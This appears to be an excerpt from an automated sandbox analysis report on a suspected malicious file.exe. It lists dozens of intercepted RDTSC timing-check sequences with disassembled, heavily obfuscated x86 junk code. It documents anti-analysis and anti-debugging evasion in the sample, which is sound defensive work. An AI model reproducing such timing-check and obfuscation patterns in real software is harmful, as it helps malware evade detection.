Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 973363 second address: 9733A6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007FDEE5138E48h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 cmc 0x00000026 push 00000000h 0x00000028 mov dword ptr [ebp+122D35D1h], eax 0x0000002e push 00000000h 0x00000030 sub dword ptr [ebp+122D2DA9h], edx 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b jg 00007FDEE5138E46h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9733A6 second address: 9733AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9733AA second address: 9733B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 973164 second address: 973169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9733B0 second address: 9733BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FDEE5138E46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 977243 second address: 977247 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 979180 second address: 97923D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FDEE5138E46h 0x00000009 jmp 00007FDEE5138E51h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 jl 00007FDEE5138E4Ch 0x00000019 jmp 00007FDEE5138E54h 0x0000001e popad 0x0000001f nop 0x00000020 sbb bx, 0452h 0x00000025 mov dword ptr [ebp+1246C6A9h], edx 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ebp 0x00000030 call 00007FDEE5138E48h 0x00000035 pop ebp 0x00000036 mov dword ptr [esp+04h], ebp 0x0000003a add dword ptr [esp+04h], 0000001Ah 0x00000042 inc ebp 0x00000043 push ebp 0x00000044 ret 0x00000045 pop ebp 0x00000046 ret 0x00000047 and ebx, dword ptr [ebp+122D2FBDh] 0x0000004d and bx, 8026h 0x00000052 push 00000000h 0x00000054 push 00000000h 0x00000056 push edi 0x00000057 call 00007FDEE5138E48h 0x0000005c pop edi 0x0000005d mov dword ptr [esp+04h], edi 0x00000061 add dword ptr [esp+04h], 00000016h 0x00000069 inc edi 0x0000006a push edi 0x0000006b ret 0x0000006c pop edi 0x0000006d ret 0x0000006e xchg eax, esi 0x0000006f push esi 0x00000070 jns 00007FDEE5138E4Ch 0x00000076 pop esi 0x00000077 push eax 0x00000078 push eax 0x00000079 push edx 0x0000007a jmp 00007FDEE5138E50h 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97923D second address: 979242 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97A1B1 second address: 97A1BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FDEE5138E46h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B260 second address: 97B264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C1FE second address: 97C204 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C204 second address: 97C208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C208 second address: 97C20C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E310 second address: 97E31A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FDEE4BB4C06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97F257 second address: 97F25B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97F25B second address: 97F2CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FDEE4BB4C08h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 mov edi, dword ptr [ebp+122D2E15h] 0x0000002a push 00000000h 0x0000002c mov ebx, eax 0x0000002e push 00000000h 0x00000030 or bh, 00000037h 0x00000033 or dword ptr [ebp+122D1B44h], edx 0x00000039 xchg eax, esi 0x0000003a jmp 00007FDEE4BB4C15h 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007FDEE4BB4C17h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98033F second address: 980343 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9793B2 second address: 9793B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980343 second address: 980362 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE5138E4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007FDEE5138E4Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97A3E2 second address: 97A487 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov ebx, dword ptr [ebp+122D29FBh] 0x0000000e push dword ptr fs:[00000000h] 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007FDEE4BB4C08h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f mov ebx, dword ptr [ebp+122D2FE9h] 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c jmp 00007FDEE4BB4C18h 0x00000041 mov eax, dword ptr [ebp+122D088Dh] 0x00000047 push 00000000h 0x00000049 push edi 0x0000004a call 00007FDEE4BB4C08h 0x0000004f pop edi 0x00000050 mov dword ptr [esp+04h], edi 0x00000054 add dword ptr [esp+04h], 00000016h 0x0000005c inc edi 0x0000005d push edi 0x0000005e ret 0x0000005f pop edi 0x00000060 ret 0x00000061 jmp 00007FDEE4BB4C0Dh 0x00000066 pushad 0x00000067 mov esi, dword ptr [ebp+122D2FBDh] 0x0000006d popad 0x0000006e push FFFFFFFFh 0x00000070 and ebx, dword ptr [ebp+122D2C4Fh] 0x00000076 nop 0x00000077 push esi 0x00000078 push eax 0x00000079 push edx 0x0000007a push eax 0x0000007b push edx 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B39C second address: 97B3C7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDEE5138E46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b je 00007FDEE5138E46h 0x00000011 pop edx 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jmp 00007FDEE5138E52h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9793B6 second address: 9793BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C40A second address: 97C40E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D545 second address: 97D54A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E50C second address: 97E514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97A487 second address: 97A48B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B3C7 second address: 97B3CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D54A second address: 97D550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E514 second address: 97E518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B3CC second address: 97B3D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D550 second address: 97D5F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ebx, dword ptr [ebp+122D1818h] 0x00000010 push dword ptr fs:[00000000h] 0x00000017 movzx ebx, ax 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 push 00000000h 0x00000023 push eax 0x00000024 call 00007FDEE5138E48h 0x00000029 pop eax 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e add dword ptr [esp+04h], 00000014h 0x00000036 inc eax 0x00000037 push eax 0x00000038 ret 0x00000039 pop eax 0x0000003a ret 0x0000003b or dword ptr [ebp+122D30C7h], edx 0x00000041 mov eax, dword ptr [ebp+122D1719h] 0x00000047 push 00000000h 0x00000049 push edi 0x0000004a call 00007FDEE5138E48h 0x0000004f pop edi 0x00000050 mov dword ptr [esp+04h], edi 0x00000054 add dword ptr [esp+04h], 0000001Ah 0x0000005c inc edi 0x0000005d push edi 0x0000005e ret 0x0000005f pop edi 0x00000060 ret 0x00000061 push FFFFFFFFh 0x00000063 jmp 00007FDEE5138E57h 0x00000068 mov edi, dword ptr [ebp+122D29ABh] 0x0000006e nop 0x0000006f pushad 0x00000070 jmp 00007FDEE5138E51h 0x00000075 jng 00007FDEE5138E4Ch 0x0000007b push eax 0x0000007c push edx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9834EC second address: 9834F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9834F0 second address: 9834F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980526 second address: 980530 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDEE4BB4C06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980530 second address: 980606 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE5138E4Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FDEE5138E4Eh 0x0000000f push dword ptr fs:[00000000h] 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007FDEE5138E48h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 jmp 00007FDEE5138E58h 0x00000035 call 00007FDEE5138E58h 0x0000003a jmp 00007FDEE5138E53h 0x0000003f pop ebx 0x00000040 mov dword ptr fs:[00000000h], esp 0x00000047 sub dword ptr [ebp+122D2F3Ch], edx 0x0000004d mov edi, dword ptr [ebp+122D29DFh] 0x00000053 mov eax, dword ptr [ebp+122D1681h] 0x00000059 jo 00007FDEE5138E49h 0x0000005f movzx ebx, cx 0x00000062 push FFFFFFFFh 0x00000064 push 00000000h 0x00000066 push ecx 0x00000067 call 00007FDEE5138E48h 0x0000006c pop ecx 0x0000006d mov dword ptr [esp+04h], ecx 0x00000071 add dword ptr [esp+04h], 00000015h 0x00000079 inc ecx 0x0000007a push ecx 0x0000007b ret 0x0000007c pop ecx 0x0000007d ret 0x0000007e mov bx, cx 0x00000081 push eax 0x00000082 push eax 0x00000083 push edx 0x00000084 push eax 0x00000085 push edx 0x00000086 pushad 0x00000087 popad 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980606 second address: 980618 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE4BB4C0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9836F2 second address: 9836F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985405 second address: 985477 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDEE4BB4C18h 0x00000008 jmp 00007FDEE4BB4C12h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007FDEE4BB4C08h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c add ebx, dword ptr [ebp+122D2349h] 0x00000032 mov edi, ecx 0x00000034 push 00000000h 0x00000036 sub ebx, dword ptr [ebp+12469BE9h] 0x0000003c push 00000000h 0x0000003e xchg eax, esi 0x0000003f push eax 0x00000040 push edx 0x00000041 jg 00007FDEE4BB4C19h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985477 second address: 985492 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDEE5138E48h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f jnp 00007FDEE5138E46h 0x00000015 popad 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9836F6 second address: 9836FC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9864DD second address: 9864E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9846EC second address: 9846F6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDEE4BB4C06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9846F6 second address: 9846FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98661F second address: 9866A8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push esi 0x0000000b or bh, 00000012h 0x0000000e pop ebx 0x0000000f push dword ptr fs:[00000000h] 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007FDEE4BB4C08h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000019h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 mov dword ptr [ebp+122D2E67h], ecx 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d push ebx 0x0000003e mov bh, B0h 0x00000040 pop edi 0x00000041 mov eax, dword ptr [ebp+122D03A9h] 0x00000047 push 00000000h 0x00000049 push ebp 0x0000004a call 00007FDEE4BB4C08h 0x0000004f pop ebp 0x00000050 mov dword ptr [esp+04h], ebp 0x00000054 add dword ptr [esp+04h], 0000001Ah 0x0000005c inc ebp 0x0000005d push ebp 0x0000005e ret 0x0000005f pop ebp 0x00000060 ret 0x00000061 push FFFFFFFFh 0x00000063 sub edi, dword ptr [ebp+1243B62Ch] 0x00000069 mov ebx, dword ptr [ebp+122D17D6h] 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 jp 00007FDEE4BB4C0Ch 0x00000078 push eax 0x00000079 push edx 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9866A8 second address: 9866AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9866AC second address: 9866B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9866B2 second address: 9866B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92DA3A second address: 92DA42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92DA42 second address: 92DA46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98D135 second address: 98D13A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98D13A second address: 98D14A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jnl 00007FDEE5138E46h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98D14A second address: 98D14E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9919D9 second address: 9919F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE5138E57h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9919F9 second address: 991A02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991A02 second address: 991A0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDEE5138E46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991A0C second address: 991A10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991CA0 second address: 991CA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991CA6 second address: 991CB0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96F693 second address: 96F6AE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDEE5138E46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jne 00007FDEE5138E46h 0x00000014 jg 00007FDEE5138E46h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991CB0 second address: 991CB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991CB9 second address: 991CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9966F8 second address: 9966FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99679E second address: 9967A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9967A4 second address: 9967A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9967A9 second address: 9967BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDEE5138E50h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9967BD second address: 9967F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE4BB4C10h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 push ecx 0x00000011 jmp 00007FDEE4BB4C0Ch 0x00000016 pop ecx 0x00000017 pushad 0x00000018 push eax 0x00000019 pop eax 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d popad 0x0000001e mov eax, dword ptr [eax] 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9967F5 second address: 9967F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9967F9 second address: 9967FF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99C488 second address: 99C4A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FDEE5138E57h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99C9E0 second address: 99C9F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnl 00007FDEE4BB4C06h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99CB68 second address: 99CB6E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99CB6E second address: 99CB77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99CB77 second address: 99CB7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A02BD second address: 9A02C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A02C2 second address: 9A030A instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDEE5138E4Ch 0x00000008 pushad 0x00000009 jmp 00007FDEE5138E57h 0x0000000e jg 00007FDEE5138E46h 0x00000014 js 00007FDEE5138E46h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FDEE5138E51h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A030A second address: 9A0316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FDEE4BB4C06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0316 second address: 9A031A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A5C30 second address: 9A5C59 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDEE4BB4C10h 0x0000000b push ecx 0x0000000c jg 00007FDEE4BB4C06h 0x00000012 pop ecx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jbe 00007FDEE4BB4C08h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A5C59 second address: 9A5C77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FDEE5138E55h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
